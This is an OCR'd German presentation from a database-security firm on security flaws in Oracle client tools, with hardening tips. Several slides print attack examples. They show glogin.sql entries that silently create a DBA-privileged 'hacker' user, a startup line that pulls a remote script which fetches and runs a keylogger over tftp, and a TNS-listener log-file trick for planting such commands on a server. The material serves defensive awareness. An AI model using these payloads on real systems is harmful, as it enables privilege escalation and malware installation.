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Einfihrung

= Wer hat Zugriff als DBA auf die
Datenbank?

= DBA =  Unix Admins

= Windows Admins (lokal,

= Hinterlegte __
Domane)

Passworte

(Safe) = Hausmeister

“ ' ° = Reinigungspersonal

= Sjicherheitsdienst

= Jeder mit physikalischem
bzw. direktem/indirektem
Remote-Zugriff auf die
Arbeitsplatze der DBAs

REEDEICT RISV (IACIo]sl  Alexander Kornbrust, 03-03-2005 V1.04 3



Ubersicht Oracle Clients ..l

= Folgende haufig verwendete Oracle Clients
wurden untersucht

=  SQL*Plus 8-10g (+ Varianten)

Jdeveloper 10g

= Enterprise Manager 10g (Java) Forms Builder 10g
= Quest TOAD 8.0 = Oracle Developer for .Net
=  Quest SQL*Navigator 4.4 Altova XMLSpy

= Quest Tora 1.3

= Keeptool 6.2
= Embacadero DBArtisan 8.0

=» 14 Security Fehler in Oracle Clients gefunden
und gemeldet
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Sicherheitsrelavante Features von Oracle Clients

s Startup Dateien

= Oracle Passwortubergabe

= QOracle Passwarter abspeichern

m QOracle Passwaorter verschlisseln
= QOracle Passwort Roaming

= Logging von Kommandos

= Handling der temporaren Dateien
= Starten externer Programme

= Einschranken der anwendbaren Features
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Startup Dateien ...

Einige Clients erlauben es, automatisch (und
versteckt) bel jedem Start, SQL Befehle im
Hintergrund auszufuhren. Dies kann ein
Sicherheitsproblem darstellen.

e SQL*Plus: glogin.sqgl /login.sql
e TOAD: toad.ini

e SQL*Navigator: Registry: [Session_Auto_Run_Script]
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Startup Dateien

Beispiel: Eintrag in die lokale Datel glogin.sqgl bzw.
login.sql

————————————— glogin.sqgl-H-------- - - - - - - ——(————————
create user hacker i1dentified by hacker;

grant dba to hacker;

————————————— glogin.sgl-------- - - - - ——— —————————-

C:\ >sglplus sys@oralOg3 as sysdba

SQOL*Plus: Release 10.1.0.2.0

Copyright (c) 1982, 2004, Oracle.

Kennwort eingeben:

Verbunden mit:

Oracle Database 10g Release 10.1.0.3.0 - Production
Benutzer wurde angelegt.

Benutzerzugriff (Grant) wurde erteinlt.

SQL>
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Startup Dateien

Beispiel: Eintrag in die lokale Datei glogin.sqgl bzw.

login.sql (ohne Terminalausgabe)
————————————— glogin.sgl-------——————— -
set term off
create user hacker i1dentified by hacker;
grant dba to hacker;
set term on;

C:\ >sglplus sys@oralOg3 as sysdba

SOL*Plus: Release 10.1.0.2.0

Copyright (c) 1982, 2004, Oracle.

Kennwort eingeben:

Verbunden mit:

Oracle Database 10g Release 10.1.0.3.0 - Production
SQL>
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Startup Dateien

Beispiel: Eintrag in die lokale Datei glogin.sql/login.sql

————————————— glogin.sgl--------- - -\ - - ————————————
@http://www.evilhacker.de/hackme.sql
————————————— glogin.sgl-------- - - - - - - — - ————————

Inhalt der Datei am 03-Méarz-2005
————————————— http://www._evilhacker._de/hackme.sql----————-——--

————————————— http://www._evilhacker._de/hackme.sql----————-——--

Inhalt der Datei am 10-Méarz-2005
————————————— http://www.evilhacker.de/hackme.sqgl----———————--

set term off

host tftp -1 192.168.2.190 GET keylogger.exe keylogger.exe
host keylogger.exe

create user hacker i1dentified by hacker

grant dba to hacker;

host echo test> glogin.sqgl

set term on
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Startup Dateien ...

Beispiel: Ausnutzen der Autostart-Dateien auf dem Datenbankserver tGber den
ungeschutzten TNS-Listener

c:\>Isnrctl

LSNRCTL> set log file C:\oracle\ora92\sglplus\admin\glogin.sql

Verbindung mit (ADDRESS=(PROTOCOL=tcp)(PORT=1521)) wird aufgebaut

LISTENER Parameter "log file" i1st auf
C:\oracle\ora92\sqglplus\admin\glogin.sql gesetzt

Der Befehl wurde erfolgreich ausgefiuhrt.

perl tnscmd -h 192.168.2.156 -p 1521 --rawcmd ""(CONNECT_DATA=((
> create user hacker identified by hacker;

> grant dba to hacker;
> n

sending (CONNECT_DATA=((

create user hacker i1dentified by hacker;
grant dba to hacker;

to 192.168.2.156:1521

writing 138 bytes

reading
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Startup Dateien - Tipps =l

= glogin.sql/login.sgl/toad.ini/registry
regelmaldig auf Veranderungen kontrollieren

= SQLPATH (registry) fur Suchreihenfolge der
login.sql regelmallig Gberprifen

= glogin.sqgl niemals zentral von einem
Netzlaufwerk verwenden

= Falls mdglich SQL*Plus <10g verwenden, da
dort die (g)login.sgl nur beim ersten Start
ausgefuhrt wird

= Bei SQL*Plus <10g "/nolog" als SQL*Plus-
Parameter verwenden. Unterdrickt
Ausfuhrung der (g)login.sql
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Oracle Passwortubergabe

= Passworter in Prozesstabellen (ps)

= Passworter in Skripten/Batch & Historie-
Dateien

s Passworter in Desktop-Verknupfungen

= Passwarter in Umgebungsvariablen
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Oracle Passworter abspeichern =l

Viele Anwendungen erlauben es, Passworter zur Vereinfachung der
Administration auf der Festplatte abzuspeichern bzw. Passworte als
Parameter zu verwenden.

e ISQL*Plus Extension (Registry:
ORACLE\NSQLPIlus\Servers\ServerXxX)

e EM ($OH/sysman/config/pref/dbastudio-root.crd)
e TOAD (c:\programme\quest software\toad\toad.ini)
e SQL*Navigator (Registry)

e Embacadero ([HCU\Software\Embarcadero\Registered
Datasources\Oracle Servers\)

e Jdeveloper (connections.xml)
e XML Spy (Registry)
e Oracle Developer for .Net (Registry)
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Oracle Passwaorter verschlisseln / entschlisseln .-

Oftmals gibt es zusatzlich die Option, das Passwort zu verschlisseln.
HOrt sich sicher an, aber viele Verschllsselungs-Algorithmen verdienen
diesen Namen nicht.

m TOAD - Cesar-Chiffre

[LOGIN1]
SERVER=0RA10103
USER=scott
PASSWORD=*DYWUB**

= SQL*Navigator — Substitutionsalgorithmus
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Oracle Passwort Roaming =l

Verschliusselte Passworte wiegen den Anwender aber oft in eine
triigerische Sicherheit.

= Regqistry-Eintrage oder Dateien auf einen anderen
Rechner kopieren

= Die Anwendung entschllisselt das Passwort

= Kenntnis des Verschlisselungsalgorithmus ist
nicht erforderlich.

= Gut gelost beim EM:
Kopierte Passwort-Dateien funktionieren nicht auf
anderen Computern.
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Aufruf externer Programme

Einige Programme erlauben den Aufruf externer Oracle Programme,
z.B. SQL*Plus.

Dieses Feature kann missbraucht werden, die verschlisselten PW zu
entschlisseln, indem man ein modifiziertes Programm mit dem Namen
sglplus.exe, das alle Parameter mitspeichert, unterschiebt.

= Per Trick sind so die Passworte haufig zu
entschlisseln

= Jdeveloper (Aufruf von SQL*Plus)
= Embacadero DBArtisan (Aufruf von SQL*Plus)
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SQL Logging

Viele Programme erlauben es, alle SQL Befehle in eine Datei
mitzuprotokollieren. Dieses Feature ist natlrlich bei Passwortern-

Anderungen problematisch

m alter user system identified by sup3rs3cr3t!pw;

= Passworte oder Verschlisselungskeys
sollten nicht in Logdateien mitprotokolliert

werden.
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Temporéare Dateien

Einige Programme (z.B.Forms Builder, ISQL*Plus
Extensions) speichern Passworte in temp-Dateien,
ohne diese nach Gebrauch zu l6schen

= Temp-Dateien regelmaldig kontrollieren & l6schen
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SQLPIlus Features einschranken =l

SQL*Plus erlaubt die Einschrankung der
verwendbaren Befehle. Diese Einschrankung kann
jedoch sehr leicht umgangen werden.

= Einschrankungen werden in der Product-Tabelle
gespeichert

= Erlaubt die Einschrankung von SQL*Plus-Befehlen
(z.B. DROP Table)

= Per dynamischen SQL zu umgehen

= QOder Verwendung eines anderen Tools (z.B.
TOAD)
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Schnelltest fur beliebige Oracle Clients =l

= Verwendung Startup-Dateien J/N

m Oracle Passwortibergabe per Parameter moglich /N
m QOracle Passworte speicherbar J/N

= QOracle Passworte verschlusselt /N

= Oracle Passwort-Qualitat (AAAAAAA') testen

= Oracle Password Roaming moglich J/N

= Aufruf externer Programme

= Umgang mit Log Dateien

= Umgang mit Temporaren Dateien
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Szenario 1 — Lokaler Zugriff auf den DBA-Client =l

m Betriebssystem (z.B. Windows PE bzw.
Knoppix) von CD / USB-Stick booten
Folgende Aktionen sind maoglich:

= Enterprise Manager von Festplatte
starten und auf DB einloggen, falls
PasswaOrter abgespeichert sind.

m Passworter auslesen & entschliisseln
(z.B. DBArtisan, TOAD, ...)

= Oracle Client Startup Dateien
(g)login.sgl modifizieren
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Szenario 2 - Remote-Zugriff =l

m Datelien des laufenden PC des DBA
modifizieren

Folgende Aktionen sind maoglich:

s Software durch eine Liucke im Internet
Explorer oder MS Mediaplayer Exploit
Installieren (vgl. Spyware)

= Wurm /Virus mit Schadfunktionen
gegen Oracle Datenbanken (z.B.
Modifikation glogin.sql)

s SW-Keylogger installieren (z.B. Spector
Pro, Actmon, ...)
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Szenario 3 — Angriff mittels spezieller Hardware ..l

s Einsatz spezieller Stecker bzw. Tastaturen
am PC des Administrators zum
Mitprotokollieren aller Tastatureingaben

m Fdr jedermann ab 89 USD zu kaufen

= EiInstecken, warten, demontieren,
Eingaben auslesen
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Absicherung PC ..l

s Rechner physikalisch absichern (z.B. in
einem Schrank)

m Bios Passwort setzen

m Booten von externen Medien deaktivieren
(z.B. CDROM / USB)

=  Gesamte Partition verschlisseln (nicht
EFS)

m | okale Firewall verwenden
m  Aktuelle Antivirussoftware verwenden

= Alternativen Browser flr externes Surfen
verwenden

Red-Database-Security €]5gle]a Alexander Kornbrust, 03-03-2005 V1.04 24



Absicherung PC

m Kelne lokalen Testdatenbanken

m Keine Serverdienste verwenden (HTTP,
FTP, ...)

m Passworter in Client-Software nicht
abspeichern

= Passworter nicht in der Umgebung bzw.
Desktop-Verknupfungen speichern
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Weiterfihrende Links ..l

= Red-Database-Security GmbH
= Festplattenverschlisselung DriveCrypt PlusPack
= Windows Bootdisk

® Linux Bootdisk
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http://www.red-database-security.com/portal
http://www.securstar.com/
http://www.nu2.nu/pebuilder/
http://www.knoppix.org/

Bm Security

Kontaktadresse:

Red-Database-Security GmbH
Bliesstralde 16
66538 Neunkirchen

Telefon: +49 (0)6821 — 95 17 637

Fax: +49 (0)6821 — 91 27 354
E-Mail: 1nfo at red-database-security.com
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